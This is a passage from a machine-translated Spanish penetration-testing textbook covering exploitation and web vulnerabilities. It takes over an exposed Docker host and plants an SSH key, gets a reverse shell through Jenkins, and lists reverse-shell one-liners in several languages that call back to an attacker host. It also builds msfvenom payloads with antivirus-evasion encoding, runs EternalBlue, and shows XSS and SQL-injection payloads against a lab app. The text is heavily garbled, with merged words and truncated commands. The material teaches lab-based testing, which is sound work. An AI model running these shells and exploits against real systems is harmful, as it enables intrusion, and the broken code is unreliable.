A continuación, ejecutaremos el contenedor y montaremos el directorio raíz de Ubuntu ( / ) en /mnt
en el contenedor Kali (porque queremos comprometer el host de Ubuntu más adelante):
root@kali:~# dockerÿH172.16.0.103:2375runÿitdÿÿnamefsocietyÿ
v/:/mntbd513360cce5
558c0ae8491290e1dade641cd62f6b7e258a0d6bc1a33cd3bfc0991f8824716a
Comprobar si el contenedor se está ejecutando
Como otro control, verifiquemos si el contenedor se está ejecutando antes de conectar
techo:
root@kali:~# dockerÿH172.16.0.103:2375ps
CONTENEDORIDIMAGENCOMANDOESTADONOMBRES
CREADO
PUERTOS
11
558c0ae84912bd513360cce5"bash"segundosagoUp11segundosfsociedad
"/ bin / tini - / usr / l…"
2 horas
jenkins0.0.0.0:8080->8080/tcp,0.0.0.0:500007dd7d926605aUp2hoursago>50000/tcp
labjenkins
Introducir una concha en el contenedor de Kali
Dado que el contenedor Kali ahora está en funcionamiento, todo lo que necesitamos es ejecutar el exec .
comandotogetaremoteshell:
root@kali:~# docker-H172.16.0.103:2375exec-it558c0ae84912bash
root@558c0ae84912:/#id
uid=0(raíz)gid=0(raíz)groups=0(raíz)
root@558c0ae84912:/#
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tenemos un shell remoto raíz en el contenedor Kali. A continuación, comprometamos el host de
Ubuntu usando este contenedor.
Explotación de DockerHost En esta
etapa, tenemos un contenedor Kali Linux ejecutándose en el host de Ubuntu. Pudimos crear este
contenedor de forma remota y conectarnos a su shell también. En este paso, aprenderá cómo
comprometer el host de Ubuntu a través del contenedor que creamos anteriormente.
root@kali:~# nmap172.16.0.103 Iniciando
Nmap7.80(https://nmap.org) en 2020-06-2607:15EDT Nmapscanreportfor172.16.0.103
Hostisup(0.00014slatency).
No se muestra: 997 puertos cerrados
PORTSTATESERVICE
8080/tcpopenhttp-proxy
22/tcpopenssh
50000/tcpopenibm-db2
MACAddress:00:0C:29:96:F8:6C(VMware)
Nmapdone: 1 dirección IP (1 host up) escaneada en 0,23 segundos
Antes de continuar con el exploit, debe comprender dos puntos clave:
El Dockerengine (Daemon) se está ejecutando como raíz en el host de Ubuntu.
El contenedor de Kali tiene un volumen adjunto y está asignado a todo el sistema de archivos
de Ubuntu. En otras palabras, debemos poder escribir en el host de Ubuntu a través del
contenedor de Kali.
Generación de claves SSH
En la máquina virtual Kali (no en el contenedor), generaremos claves SSH para que podamos
conectarnos de forma remota a la máquina virtual Ubuntu. Usemos el comando ssh-keygen para
hacer el trabajo (no usaremos una frase de contraseña, así que presionaremos Intro durante la configuración):
root@kali:~# sshÿkeygen
Generando un par de claves públicas/privadas.
Ingrese el archivo en el cual guardar la clave (/root/.ssh/id_rsa): Ingrese la
frase de contraseña (vacío para ninguna frase de contraseña): Ingrese la
misma frase de contraseña nuevamente: Su identificación ha sido guardada
en/root/.ssh/id_rsa
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Su clave pública ha sido guardada en /root/.ssh/id_rsa.pub
La huella dactilar clave es:
SHA256:w0gYi9/7xBEU46xkO66+X9jCcKUa5NKtcR8WBjccU0kroot@kali
La imagen aleatoria de la clave es:
+---[RSA3072]----+
|...O=E.|
.
|++.+.|
. ++B
||
*
| = Oh |
|.B@S|
|.@O+|
**
|el|
. =
||
|.+el..|
+----[SHA256]-----+
Transferencia de clave
En esta etapa, tenemos que transferir la clave pública generada anteriormente,
/root/.ssh/id_rsa.pub , edite
alcontenedorKalicon.Abramoselarchivoentexto
KaliVM (no el contenedor) y copie su contenido.
A continuación, volveré a mi conexión de shell remota al contenedor de Kali. Primero,
asegurémonos de que tenemos una carpeta ssh dentro del directorio de inicio raíz en el
Ubuntuhost. Si no, vamos a crear uno nuevo:
raíz@558c0ae84912:~# cd/mnt/raíz
root@558c0ae84912:/mnt/root# lsÿla
total36
drwx------6rootroot4096Jun1615:48.
drwxr-xr-x20rootroot4096Jun1120:23..
-rw------- 1rootroot1608Jun2611:50.bash_history
-rw-r--r-- 1rootroot3106Dec52019.bashrc
drwx------ 2rootroot4096Jun2611:50.cache
drwx------ 3rootroot4096Jun1615:48.config
drwxr-xr-x 3rootroot4096Jun1120:36.local
-rw-r--r-- 1rootroot161Dec52019.profile
drwx------ 3rootroot4096Jun1616:12.vnc
root@558c0ae84912:/mnt/root# mkdir.ssh
root@558c0ae84912:/mnt/root# cd.ssh
Use el comando echo para agregar la clave pública que generamos en Kali
VM al archivo de claves_autorizadas . (Si no sabe cuáles son las claves_autorizadas
archivo es, consulte la sección SSH del primer capítulo de este libro para
comprender cómo SSH funciona entre bastidores.)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
root @ 558c0ae84912: /mnt/root/.ssh#echo "sshrsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDKc2E5yhmGHiz9jE4 + 8oNZ59n26F9T5niTQGWaCI1fhFUFn
- <ce: IDenlace =" pp: 189np: 190 "role =" page-break "/> -> UldDMwSIFMdtj4Pcrau +
aPls9thC47KprWmkKd47O7yXdiQDUu8OD8cQ7h2HylQEBRlh / root 9xP4JdOy @kali">claves_autorizadas
Es hora de la verdad: intente conectarse a la VM de Ubuntu desde nuestro host Kali (no desde el
contenedor):
root@kali:~# [email protected]
Bienvenido aUbuntu20.04LTS (GNU/Linux5.4.0-37-genericx86_64)
*Documentación:https://help.ubuntu.com https://
*
ubuntu.com/advantage
landscape.canonical.com
Soporte:
Gestión:https://
*
34las actualizaciones se pueden instalar inmediatamente.
14 de estas actualizaciones son actualizaciones de seguridad.
Para ver estas actualizaciones adicionales, ejecute: aptlist--upgradable
Su pila de habilitación de hardware (HWE) es compatible hasta abril de 2025.
Último inicio de sesión: VieJun2604:50:392020from172.16.0.102
root@ub01:~#
¡Y tenemos una cáscara de raíz!
Explotando Jenkins
La explotación de Jenkins es un excelente ejemplo que puede aplicar a otros portales web. Una vez
que vea un portal web, debe revisar la siguiente lista de verificación:
Omitir la página de inicio de sesión.
Entrar por la fuerza bruta
Omisión de autenticación de inyección SQL (cubriremos esto más adelante en el libro)
Robar las credenciales
Inicie sesión y aproveche las debilidades de las funcionalidades del portal.
Ejecutar comandos
Cargue un shell web (lo cubriremos más adelante en este libro)
Si ninguno de estos elementos es factible, tal vez pueda intentar buscar un público
Canal de Telegram : @IRFaraExam
Machine Translated by Google
exploit.Idealmente, el administrador no actualizó el sistema y todavía está
usando una versión anterior.
Si recuerda de la fase de enumeración, pudimos obtener una cuenta válida
(admin:admin) utilizando Hydra. Usémosla para iniciar sesión en el portal (consulte la Figura 7.21).
Figura 7.21 Página de inicio de Jenkins
Nuestro objetivo en esta etapa es obtener un shell remoto, por lo que
necesitaremos ejecutar comandos a través de este portal.
gato de red :
root@kali:~#nc-nlvp1111
escuchando[cualquiera]1111…
Para volver a la página de Jenkins, haga clic en el enlace Crear nuevos trabajos para
programar un comando.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.22 Jenkins-Nuevo Proyecto
Una vez que esté en la página de configuración del proyecto, desplácese hacia abajo hasta la sección
Construir y seleccione el elemento de menú Ejecutar Shell (consulte la Figura 7.23).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.23 Jenkins–Agregar paso de compilación
Sabemos por la fase de enumeración que este host está basado en
Linux, por lo que usaremos Perl para ejecutar el comando de shell inverso
(recuerde que tenemos un oyente en nuestro puerto Kalihoston 1111). No
ejecutaremos netcat porque este es un servidor de producción y el
administrador de KCorp probablemente no lo instaló;
perl-e'useSocket;
$i="172.16.0.102";
$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname(" {open(STDIN,">&S");open(STDOUT,">&S" );op
Después de hacer clic en Guardar, la ventana se cerrará. Ahora, todo lo
que tenemos que hacer es ejecutar el comando. Para hacer esto, haga
clic en Construir ahora en el menú de la izquierda.
root@kali:~#nc-nlvp1111
Canal de Telegram : @IRFaraExam
Machine Translated by Google
escuchando en [cualquier] 1111...
conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.103] 39082 $ id uid =
1000 (jenkins) gid = 1000 (jenkins) grupos = 1000 (jenkins) $
Figura 7.24 Jenkins–ReverseShell
ReverseShells
En el ejemplo anterior, vio la importancia de ejecutar un shell que sea
compatible con el host de la víctima remota. En esta sección, aprenderá
acerca de los diferentes tipos de shells que puede ejecutar en la máquina
de la víctima. Tenga en cuenta que a veces tendrá que probar diferentes
en el mismo host.
Intento
bash-i> & / dev / tcp / [KaliIP] / [KaliListenerPort] 0> & 1
Perl
perl-e'useSocket; $ ip = "[KaliIP]"; $ puerto = [KaliListener
Puerto];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockadd
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR ,">&S");exec("/bin/sh -i");};'
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Java
runt = Tiempo de ejecución.getRuntime ()
proc = runt.exec (["/ bin / bash", "- c", "exec5 <> / dev / tcp / [KaliIP] /
[KaliListenerport]; cat <& 5 | whilereadline; do\$line2> & 5 > & 5 ; hecho "] asString [])
proc.esperar()
Pitón
python-c'importsocket,
subproceso, os; sok = socket.socket (socket.AF_INET, socket.SOCK_STREAM); sok.
[KaliIP]",[KaliListenerport]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
subproceso.llamada(["/bin/sh","-i"]);'
PHP
php-r'fsockopen("[KaliIP]",[KaliListenerport]);exec("/bin/shi<&3>&32>&3");'
Potencia Shell
Este es complicado; debe tener cuidado porque el sistema operativo Windows
ha evolucionado con la detección de malware. Este es un ejemplo de una sola línea
Script de PowerShell:
$client=Nuevo-ObjectSystem.Net.Sockets.TCPClient("[KaliIP]",[KaliListenerPort]);
$stream=$client.GetStream();[byte[]]$bytes=0..65535|
%{0 };while(($i=$stream.Read($bytes,0,$bytes.Length))ne0){;$data=(New-ObjectTypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1|Out+
String);$sendback2=$sendback+ "PS"(pwd).Ruta+">";
$sendbyte=([texto.codificación]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
El revestimiento anterior será detectado principalmente por software antivirus.
las herramientas se están volviendo mejores que antes, por lo que debe ser creativo cuando esto
surge el desafío
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Uso de Shells con Metasploit
En la sección anterior, vio diferentes tipos de proyectiles que puede ejecutar en el host de
la víctima. Mantener todos estos comandos no es práctico, por lo que la solución es
Metasploit/MSFvenom.
Creación de un oyente en Metasploit
Comencemos con un ejemplo práctico para que pueda comprender cómo funciona en el
terreno. En nuestro ejemplo actual, generaremos una carga útil de Windows/Meterpreter
usando MSFvenom primero (recuerde que LHOST es la dirección IP de Kali y LPORT es
el puerto en el que queremos escuchar):
root@kali:~# msfvenomÿpwindows/meterpreter/
reverse_tcpLHOST=172.16.0.102LPORT=1111ÿfexe>shell.exe
[-]Noseseleccionóningunaplataforma,eligiendoMsf::Module::Platform::Windowsfromthepayload
[-]Noarchselected,selectingarch:x86fromthepayload
Noencoderorbadcharsspecified , emitiendo carga útil sin procesar Tamaño de
carga útil: 341 bytes Tamaño final del archivo exe: 73802 bytes
A continuación, comenzaremos a escuchar en ese puerto utilizando el módulo de controlador múltiple
en Metasploit.
msf5> useexploit/multi/handler
msf5exploit (multi/handler)> setpayloadwindows/
meterpreter/reverse_tcp msf5exploit (multi/handler)>
setLPORT1111 msf5exploit (multi/handler)> exploit
En esta etapa, todo lo que necesitamos es transferir esta carga útil ( shell.exe ) a la
unidad de host de nuestra víctima de Windows. Una vez que la ejecutamos, debemos
obtener un Meterpretershell:
[*]Se inició el controlador TCP inverso en 172.16.0.102:1111[*]Enviando
la etapa (176195bytes) a 172.16.0.100 [*]Meterpretersession1 abrió
(172.16.0.102:1111->172.16.0.100:49177) a las 2020-06-2702-:39:39:39
0400
metro preter>
Más adelante en este libro, aprenderá cómo proceder desde esta etapa de privilegio
Canal de Telegram : @IRFaraExam
Machine Translated by Google
escalationandpivotingusingMeterpreter.
MSFvenenoopciones
Para gestionar bien MSFvenom, deberá dominar sus opciones. Esta es la plantilla de un comando
típico:
$msfvenom-p[nombre de carga útil]–plataforma[Sistema operativo]-e[codificador]f[formato]–out[nombre de archivo de salida]
Para obtener una lista de todas las cargas compatibles, use lo siguiente (use el comando grep para filtrar
los resultados):
$msfvenom-lpayloads
Para obtener una lista de todas las plataformas admitidas (p. ej., Windows, Linux, etc.), use lo
siguiente:
$msfvenom-lplataformas
Para obtener una lista de todos los codificadores admitidos (para eludir el software antivirus),
use lo siguiente:
$msfvenom-lencoders
También puede codificar la carga útil varias veces usando el indicador ÿi . A veces, más iteraciones
pueden ayudar a evitar la protección antivirus, pero sepa que la codificación no está realmente destinada
a ser utilizada como una solución de evasión antivirus real:
$msfvenom-pwindows/meterpreter/bind_tcp-ex86/shikata_ga_nai-i3
Por último, para obtener una lista de todos los formatos de archivo compatibles con MSFvenom, configure:
$msfvenom--formatos de ayuda
Explotación del protocolo SMB El protocolo Samba
ha sido un servicio explotable popular en los últimos años.
Los principales exploits en Metasploita están relacionados con las vulnerabilidades de SMB.
Conexión a recursos compartidos SMB
Una vez que vea que el puerto 445 está abierto durante la fase de enumeración, puede
Canal de Telegram : @IRFaraExam
Machine Translated by Google
proceda intentando conectarse a estos directorios.
Para enumerar las carpetas compartidas en un host remoto, utilicemos el módulo smb_enumshares de
Metasploit :
msf5> useauxiliary/scanner/smb/smb_enumshares
msf5auxiliary(scanner/smb/smb_enumshares)> setRHOSTS 172.16.0.100
RHOSTS=>172.16.0.100
msf5auxiliary(escáner/smb/smb_enumshares)> setSMBUseradmin SMBUser=>admin
msf5auxiliary(escáner/smb/smb_enumshares)> setSMBPassadmin SMBPass=>admin
msf5auxiliary(escáner/smb/smb_enumshares)>ejecutar [+]172.16.0.100:445-ADMIN$ÿ
(DISCO)RemoteAdmin [+]172.16.0.100:445-Cÿ(DISCO)
[+]172.16.0.100:445-C$ÿ(DISK)Defaultshare [+]172.16.0.100:445-IPC$ÿ
(IPC)RemoteIPC [*]172.16.0.100:-Análisis de 1 de 1 hosts (100 %
completo)
[*]Ejecución del módulo auxiliar completada
Encontramos cuatro directorios compartidos en el host de Windows anterior.
En Kali, puede acceder a un recurso compartido SMB de forma remota mediante el explorador de carpetas del sistema operativo.
Asegúrese de ingresar la siguiente ruta en el Administrador de archivos de Kali (vea la Figura 7.25):
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 7.25 SMBConnect
smb://[dirección IP]
Una vez que ingrese la dirección IP correcta, se le pedirá que ingrese las credenciales
(en mi caso, es admin:admin). Cuando haga clic en el botón Conectar, tendrá acceso
visual completo a los recursos compartidos remotos (consulte la Figura 7.26).
Figura 7.26 Conexión SMB establecida
Canal de Telegram : @IRFaraExam
Machine Translated by Google
SMBEternalBlueExploit
Estamos utilizando este tema como un ejemplo de la razón. Este exploit
azul eterno fue popular hace algunos años, y Microsoft ya lo parcheó. Pero
como está aprendiendo sobre el aprovechamiento, entonces tiene que ver
cómo funciona.
Nuevamente, usaremos Metasploit y ejecutaremos el
módulo ms17_010_eternalblue :
Más _ _ _
RHOSTS=>172.16.0.100
msf5exploit(windows/smb/ms17_010_eternalblue)> setSMBUSERadmin
SMBUSER=>admin
msf5exploit(windows/smb/ms17_010_eternalblue)> setSMBPASSadmin
SMBPASS=>admin
msf5exploit(windows/smb/ms17_010_eternalblue)> explotar
[*]IniciadocontroladorTCPreversoen172.16.0.102:4444[*]172.16.0.100:445Usandoauxiliary/scanner/smb/smb_ms17_010ascheck [+]172.16.0.100:445HostisprobablementeVULNERABLEparaMS17-010!-Windows7Professional17601ServicePack4bit)
[*]172.16.0.100:445-Análisis de 1 de 1 hosts (100 % completo)
[*]172.16.0.100:445-Conectando al objetivo para la explotación. […] meterpreter>
getuid Nombre de usuario del servidor:NTAUTHORITY\SYSTEM
Resumen
La explotación es divertida e idealmente disfrutó este capítulo. El
aprendizaje debe ser una actividad divertida y no una tarea ardua. Los
materiales que aprendió le permitirán avanzar a los siguientes pasos,
que son la escalada de privilegios y el movimiento lateral.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
CAPÍTULO 8
Vulnerabilidades de aplicaciones web
En este capítulo, aprenderá los aspectos básicos de las vulnerabilidades de las aplicaciones web.
La seguridad de las aplicaciones es una categoría en sí misma, y dado que necesitaríamos un libro
completo para cubrir todos los temas de seguridad de las aplicaciones, usaremos este capítulo para
cubrir solo los más obvios.
Gran parte de lo que aprenderá en este capítulo le permitirá probar las aplicaciones web antes de
implementarlas en el entorno de producción.
DevSecOpsi tiene que ver con asegurarse de que la canalización pueda entregar una aplicación web
segura. Cada empresa necesita realizar cambios en su sitio web, pero antes de implementar los
cambios en producción, deben pasar por una canalización de integración continua/implementación
continua (CI/CD). Como analista de seguridad, su función es detectar cualquier vulnerabilidad con
anticipación antes de implementar los cambios en el entorno de producción.
Si retrocede en el tiempo (10 años o más), notará que solíamos tener aplicaciones de Windows,
pero hoy en día, la tendencia ha cambiado y la mayoría de los proyectos están basados en la web o
en la nube.
En este capítulo, aprenderá sobre lo siguiente:
Secuencias de comandos entre sitios
Inyección SQL
comandoinyección
Inclusión de archivos
Falsificación de solicitud entre sitios
Omisión de carga de archivos
Vulnerabilidades de aplicaciones web
El backend de las aplicaciones web se crea utilizando diferentes lenguajes de programación.
Los más populares son Java, C#.NET (Framework/Core) y PHP.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
como Angular, React, etc. Además, la interfaz usará CSS para decorar la
apariencia de las páginas web.
Asasecurityprofessional, youmustknowthebasicsofwebapplication
vulnerabilities.Also, youshouldlearnhowtobuildawebapplicationfromAto Z
(it'sbesttolearnbypracticing) .Youcan'tjustusescannersandsendyour
reportswithoutvalidation.Tovalidatethevulnerabilitieslikeaprofessional, que
mustunderstandwebapplicationprogramming.Atthebeginning,
pickoneprogramminglanguageforthebackend youcanjust (por ejemplo, C
# .NETCore) Andone JavaScriptframeworkforthefrontend (por ejemplo, angular).
MutillidaeInstalación
Para aprender los principios de esta sección, usaremos la aplicación web
vulnerable llamada Mutillidae y usaremos Ubuntu para alojar esta aplicación web.
1.Instalarelservidorweb.
2. Configure el cortafuegos.
3.Instalar PHP.
4. Instale y configure la base de datos.
Instalación del servidor web Apache
Primero, instale un servidor web Apache para alojar el sitio web. En esta etapa del
libro, debería poder manejar los comandos del terminal:
$aptupdate&&aptupgrade-y $aptinstallyapache2apache2-utils $a2enmodrewrite
$systemctlrestartapache2 $systemctlenableapache2
Configuración del
cortafuegos No queremos que el cortafuegos de Ubuntu bloquee la comunicación HTTP
durante nuestras pruebas. Hay dos tipos de cortafuegos preinstalados en Ubuntu Linux:
iptables
ufw
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Ejecutemos dos comandos para cambiar (desbloquear) cada tipo de firewall (solo para estar en
el lado completo):
$ iptables-IINPUT-ptcp - dport80-jACCEPT $ ufwallowhttp
Instalación de PHP
PHP es el lenguaje de programación en el que se basa este sitio web. Por lo tanto, necesitamos
instalar el marco para ejecutar el código fuente en el host de Ubuntu:
$aptinstall-yphp7.4libapache2-mod-php7.4php7.4-mysqlphp commonphp7.4-cliphp7.4commonphp7.4-jsonphp7.4-opcachephp7.4-readlinephp7.4-curlphp7.4-mbstringphp7.4-xml
Instalación y configuración de la base de datos
Los datos del sitio web deben almacenarse en una base de datos. Mutillidae guardará los datos en
una base de datos MySQL. Instalaremos MariaDB, que se basa en el motor MySQL:
$aptinstallmariadb-servermariadb-client-y $systemctlenablemariadb
Para permitir que la aplicación web acceda a esta base de datos, necesitaremos actualizar los
permisos del usuario raíz de la base de datos. Para hacer el trabajo, ejecutaremos los siguientes
comandos (tenga en cuenta que una vez que ejecute el primer comando, ingresará los comandos
interactivos de MySQL):
$mysql-uroot
>usemysql;
>updateusersetauthentication_string=PASSWORD('mutillidae')whereuser='root';
>updateusersetplugin='mysql_native_password'whereuser='root'; >privilegios de descarga;
>salir
De acuerdo con los comandos anteriores, cambiamos la contraseña del usuario de root a mutillidae.
MutillidaeInstalación
Ahora que tenemos todos los componentes instalados, debemos descargar los archivos binarios del
sitio web desde GitHub. Además, debemos crear una carpeta mutillidae en el directorio del servidor
web / var / www / html :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$ cd / var / www / html /
$ aptinstallgit-y $
gitclonehttps: //github.com/webpwnized/mutillidae.gitmutillidae $ systemctlrestartapache2
Para abrir la aplicación web Mutillidae, abra un navegador web en su servidor Ubuntu y
diríjase a localhost / mutillidae
, como se muestra en la figura 8.1.
Figura 8.1 Página de inicio de
Mutillidae La primera vez que visite el sitio, se le notificará que la base
de datos está fuera de línea. Haga clic en el enlace Configurar/
Restablecer la base de datos y será redirigido a la página Restablecer base de datos.
Script entre sitios
Cross-sitescripting (XSS) clientscriptsonthevictim'sclientbrowser
isaweaknessthatcanbeexploitedbyexecuting (por ejemplo,
JavaScript) .Thisflawexists
whenthedeveloperoftheapplicationdoesnotvalidatetheinputdataproperly
onthebackend.Wheneveryouseetextonthewebpagethatcanbemanipulated
withuserinput, itmeansthereisaprobabilitythatitisvulnerabletoXSS.Don't
worryifyoudon'tunderstandthisrightnow; wewillpracticeittogether.The followingaretwocomm
Canal de Telegram : @IRFaraExam
Machine Translated by Google
ReflejadoXSS
AlmacenadoXSS
ReflejadoXSS
AreflectedXSSflawcanbeexploitedbymanipulatinganyinput (por ejemplo, aURL, cuadro de texto,
HiddenField, etc.) ToexecuteJavaScriptontheclient'sbrowser.To practicethisscenario,
selectOWASP2017ÿA7-CrossSiteScripting (XSS) ÿ reflejada (de primer orden)
ÿDNSLookup.Onthispageyouaresimplytryingto gettheDNSnamebehindanIPaddressthatyousupplyinatextbox.Next,
introduzca 172.16.0.1 astheIPaddressoftherouterandclicktheLookupDNSbutton.
Mire de cerca los resultados de salida que se muestran en la figura 8.2. La dirección IP se imprime en
los resultados del mensaje para 172.16.0.1. En otras palabras, usamos el cuadro de texto (un campo de
entrada del usuario) y se imprimió en la página.
Figura 8.2 Mutillidae– DNSLookup
A continuación, reemplazaremos el valor de la dirección IP en el cuadro de texto con algún código de
JavaScript. Si el código se ejecuta, entonces la página es vulnerable a un XSS reflejado.
Inyecte un mensaje emergente simple de JavaScript, como se muestra aquí:
<script>alerta('HolaKCorp')</script>
Si funciona, entonces puede ejecutar cualquier JavaScript malicioso a su gusto. De hecho, KaliLinux
tiene un marco completo para las bibliotecas XSSJavaScript; consulte el marco de explotación del
navegador (BeEF).
Ahora, si hacemos clic en el botón Buscar DNS, el script se ejecutará y una alerta emergente mostrará
el mensaje en la Figura 8.3.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.3 Mutillidae–ScriptAlert
Para que este ataque funcione, deberá convencer a la víctima de que haga clic en la
página vulnerable. En este caso, el usuario debe morder el anzuelo utilizando algún tipo de ataque
de ingeniería social avanzada (por ejemplo, correo electrónico de phishing).
AlmacenadoXSS
El XSS almacenado es similar al reflejado (ambos ejecutarán la carga útil de JavaScript).
La única diferencia es que el XSS almacenado guardará el JavaScript en un sistema de
almacenamiento (por ejemplo, una base de datos). Este es peligroso porque es persistente
en la página vulnerable. Cualquier usuario que visite esa página será infectado por la
carga útil de JavaScript.
Para probar este escenario en Mutillidae, seleccione OWASP 2017ÿA7–CrossSite
Scripting(XSS)ÿPersistente(SecondOrder)ÿAddToYourBlog .
Una vez que haga clic en Guardar entrada de blog, verá un mensaje emergente con el
número 0. Si intenta volver a esta página, siempre verá este mensaje emergente ya que
está guardado dentro de la tabla del blog.
NOTA
Puede restablecer la base de datos en cualquier momento que desee haciendo clic en el enlace
Restablecer base de datos en la barra de menú superior.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.4 Mutillidae– BlogEntry
Explotación de XSSU mediante el encabezado
Otra forma de inyectar JavaScript en una página es a través del encabezado de solicitud.
Si el administrador guarda cada solicitud de encabezado con fines de revisión y registro,
puede aprovechar este comportamiento, pero ¿cómo ? Seleccione OWASP2017ÿA7–
CrossSiteScripting(XSS)ÿPersistente (SecondOrder)ÿShow Logtogetthere.
Figura 8.5 Troncos de Mutillidae
Esta página mostrará los encabezados de cada solicitud web a esta aplicación web para
Canal de Telegram : @IRFaraExam
Machine Translated by Google
registros. La tercera columna muestra el agente del navegador desde el encabezado de la
solicitud.
Usemos Burp para interceptar la solicitud y cambiemos el agente del navegador. Ya
ha visto un ejemplo durante la fase de enumeración de cómo preparar Burp para la
interceptación. Para que esto funcione, necesitamos lo siguiente:
El navegador debe utilizar un proxy (en el puerto 8080).
Necesitamos cargar Burp y asegurarnos de abrir la pestaña Proxy y luego la
subpestaña Interceptar, que tiene un botón Interceptar.
Visitemos cualquier página web sobre Mutillidae, usando la página de inicio, e interceptémosla
usando Burp (vea la Figura 8.6).
Figura 8.6 Burpsuite –ProxyIntercept
Modifique el valor del agente de usuario, reemplácelo con un mensaje de alerta de
JavaScript (consulte la Figura 8.7) y haga clic en el botón Adelante. Después de hacer
clic en Adelante, informe a Burp para detener la intercepción.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.7 BurpSuite –UserÿAgentEditar
Cuando volvamos a la página de registros, deberíamos obtener una alerta emergente de JavaScript.
Recuerde que lo que hicimos aquí es XSS almacenado, los registros se almacenan en
una base de datos para que el administrador pueda leerlos cuando quiera.
OmitirJavaScriptValidation
JavaScriptvalidationisamisconceptionfornovicedevelopers.Theyaddthe validationinthefrontendJavaScriptcode, andtheydon'timplementitonthe backend. (Inourcase, thebackendisPHP.)
BurpSuitewillcometotherescue againandallowustointercepttherequestandinjectourpayload.Toenablethis
securityfeature (JavaScriptvalidation), wewillclicktheToggleSecuritytop
menuitem.Oncethesecuritylevelissetto1, wewilltrytoinjectthe Hola
JavaScriptcodeintheDNSLookuppagethatweusedearlier.Thistime, la
pagewillnotexecutetheJavaScriptcode, anditwillshowusamessagesaying thatit'snotallowed,
asshownin Figure8.8 (porque hay una validación en el código front-end).
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.8 Mutillidae– BadCharactersErrorMessage
Para pasar por alto la validación de JavaScript, comenzaremos la interceptación usando Burp.
A continuación, ingresaremos una dirección IP válida (8.8.8.8, como se muestra en la Figura 8.9) y
haremos clic en el botón Buscar DNS. Si cambiamos a la pestaña Proxy Burp, deberíamos ver la
solicitud web.
Podemos ver la dirección IP en el contenido de la solicitud de POS. Todo lo que debemos hacer en
esta etapa es reemplazar la dirección IP con el script de prueba, como se muestra en la Figura 8.10.
Después de realizar los cambios, haga clic en el botón Adelante y detenga la intercepción haciendo
clic en el botón Intercept Is On. Cuando cambiamos a la página web de búsqueda de DNS,
deberíamos ver que el JavaScript se ha ejecutado correctamente. ¿Por qué sucedió esto?
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.9 BurpSuite –InterceptPayload
Figura 8.10 BurpSuite –TargetHostScript
Inyección SQL
La inyección de SQL (SQLi) es mi vulnerabilidad web favorita y es la más peligrosa.
SQLi permitirá que un usuario malicioso ejecute comandos SQL a través del navegador
web. Puede hacer mucho con los comandos SQL, como los siguientes: Consultar la base
de datos con el comando select (por ejemplo, puede seleccionar todos los registros de los
usuarios y robar información confidencial)
Omita la página de inicio de sesión utilizando la declaración verdadera en SQL
Ejecutar comandos del sistema y, además, tener un shell remoto, por ejemplo
Manipule los datos mediante los comandos SQL de inserción / eliminación / actualización
Consultar la base de datos
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Permítame mostrarle algunas consultas SQL antes de proceder a explotar esta debilidad.
Esta aplicación web vulnerable creó una base de datos llamada mutillidae dentro , y
de esta base de datos, hay una tabla llamada cuentas (consulte la Figura 8.11).
Para comenzar con un comando simple, consultaremos la prueba de nombre de usuario
que ya creamos en la aplicación web. Usaremos DBeaver como cliente de base de datos
gráfica para ejecutar esta consulta, como se muestra en la Figura 8.12.
Figura 8.11 Tabla de cuentas
Figura 8.12 AccountsTableÿSQLQuery
¿Qué pasa si podemos engañar a la base de datos para seleccionar todos los registros de la
tabla de cuentas ? Usaremos el carácter de comentario (ÿ ÿ) para ignorar alguna parte de la consulta.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Tenga en cuenta que necesitamos agregar un espacio después de los guiones dobles. Como
ejemplo, ingresaremos los siguientes datos en el formato de búsqueda de usuario http://localhost/
mutillidae/index.php?page=user-info.php, como se muestra en la Figura 8.13:
Figura 8.13 LoginSQLi
Nombre de usuario=prueba'o1=1ÿ ÿ
Contraseña=cualquier cosa
La comilla simple cerrará el valor de la cadena de nombre de usuario y la declaración or1=1
devolverá una declaración booleana verdadera. Figura 8.14 showshowtheSQLstatementwilllook .
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.14 LoginSQLiQuery
Como puede ver en la figura, el comando ha consultado todos los registros en la tabla de
cuentas . Por lo tanto, debe ejecutarse en la página web cuando hacemos clic en el botón
Ver detalles de cuenta. Normalmente, la página debe mostrar solo una cuenta, pero, en
este caso, todos los registros se obtendrán de la tabla debido a la carga de cuatro
consultas SQL, como se muestra en la Figura 8.15.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 8.15 Resultados de LoginSQLi
Pasar por alto la página de inicio de sesión
Lógicamente hablando, el código PHP utilizará el siguiente algoritmo durante la fase de inicio de sesión:
1. Busque el nombre de usuario ingresado en el cuadro de texto del nombre de usuario y la contraseña
ingresada en el cuadro de texto de la contraseña.
2. Si existe algún registro en la base de datos, inicie sesión.
3. Si no se encuentran registros, el usuario recibirá un mensaje de error.
Según la consulta de la Figura 8.12, reutilizaremos la misma carga útil que inyectamos en el truco anterior.
Esta vez, usaremos la página de inicio de sesión en su lugar, como se muestra en la Figura 8.16.
Canal de Telegram : @IRFaraExam
